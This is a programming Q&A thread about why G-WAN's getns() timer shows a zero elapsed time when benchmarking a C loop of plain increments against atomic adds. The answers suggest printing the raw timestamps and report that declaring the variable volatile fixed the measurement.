gwan getus() getns() improper result? - g-wan

Question

Why after the block while(k--){}, is (t1-t0)=0? This script is the main.c of gwan.
typedef struct
{
u64 a[10000000], b[10000000], c[10000000];
} data_t;
char str[512];
u64 size;
int main(int argc, char *argv[])
{
data_t **data = (data_t**)get_env(argv, US_SERVER_DATA);
// US_VHOST_DATA);
if(!*data) // first time: persistent pointer is uninitialized
{
*data = (data_t*)calloc(1, sizeof(data_t));
if(!*data) return 500; // out of memory
size = sizeof(data_t);
s_snprintf(str, sizeof(str)-1, "initialized data: %llu Bytes", size);
puts(str);
}
u64 t0, t1, timea, timeb, timediff, va, vb, vc, wa, wb, wc;
u64 m, j, n, k;
for(;;)
//int i=10; while(i--)
{
sleep(1);
//t1=0;time=0;
m=10000000; j=m;
t0 = getms();
while(j--){
va = __sync_add_and_fetch(&(*data)->a[1], 1);
vb = __sync_add_and_fetch(&(*data)->b[2], 2);
vc = __sync_add_and_fetch(&(*data)->c[3], 3);
}
t1 = getms();
timediff = t1-t0;
timea = timediff ? (3*m)/(t1-t0) : m;
// problem code below:
n=m; k=n;
t0 = getns();
while(k--){
wa++;
wa--;
wa++;
wa--;
}
t1 = getns();
timediff = t1-t0;
timeb = timediff ? (4*n)/(t1-t0) : n;
//s_snprintf(str, sizeof(str) - 1, "data[0]->a[1]:%llu, data[0]->b[2]:%llu, data[0]->c[3]:%llu, atomic add:%llu/ms, val++:%llu/ms",
//data[0]->a[1], data[0]->b[2], data[0]->c[3], timea, timeb );
//va, vb, vc, timea, timeb );
s_snprintf(str, sizeof(str) - 1, "atomic add:%llu/ms, ++val:%llu/ns, end value:%llu",
timea, timeb, wa );
puts(str);
}
return 0;
The log file as below:
initialized data: 240000000 Bytes
[Wed Jun 05 04:57:17 2013 GMT] memory footprint: 5.28 MiB.
atomic add:35377/ms, ++val:19531/ns, end value:0
atomic add:30674/ms, ++val:39062/ns, end value:0
atomic add:86206/ms, ++val:10000000/ns, end value:0
atomic add:86455/ms, ++val:10000000/ns, end value:0
atomic add:48309/ms, ++val:10000000/ns, end value:0
atomic add:30706/ms, ++val:10000000/ns, end value:0
atomic add:30674/ms, ++val:10000000/ns, end value:0
atomic add:30674/ms, ++val:10000000/ns, end value:0
atomic add:86705/ms, ++val:10000000/ns, end value:0
atomic add:86455/ms, ++val:10000000/ns, end value:0
atomic add:86455/ms, ++val:10000000/ns, end value:0
atomic add:61099/ms, ++val:10000000/ns, end value:0
atomic add:50167/ms, ++val:10000000/ns, end value:0
...
Only the first two results showings meaningful data in nanoseconds, the rest are all ++val:10000000/ns, i.e. t1-t0 = 0. Same problem with getus(). When I use getms(), t1-t0 always equals 0. The second line is double of the first one, i.e. 19531/ns x 2 = 39062/ns.

Answer 1

Why (t1-t0)=0 ?
This code is not especially easy to read.
Why not start by printing the time values (instead of their difference)? Then, we would see why the difference is null.
It may be that the time resolution is too low (making consecutive values being equal) or that the API call is failing (returning 0).
Is the httpdate.c G-WAN example working on your machine?

Answer 2

There is no problem with the getns(). See this answer for an explanation
I changed the wa to volatile, and timediff, timea, timeb to float type. It gave me the proper result as below:
atomic add:63829.789062/ms, ++val:0.375601/ns, end value:0
atomic add:63829.789062/ms, ++val:0.376809/ns, end value:0
atomic add:76923.078125/ms, ++val:0.375601/ns, end value:0
atomic add:78947.367188/ms, ++val:0.373209/ns, end value:0
atomic add:78947.367188/ms, ++val:0.375601/ns, end value:0
atomic add:73170.734375/ms, ++val:0.378024/ns, end value:0
atomic add:78947.367188/ms, ++val:0.375601/ns, end value:0
atomic add:78947.367188/ms, ++val:0.375601/ns, end value:0
atomic add:81081.078125/ms, ++val:0.378024/ns, end value:0
atomic add:81081.078125/ms, ++val:0.375601/ns, end value:0
++val is x5~6 faster than __syn_add_and_fetch.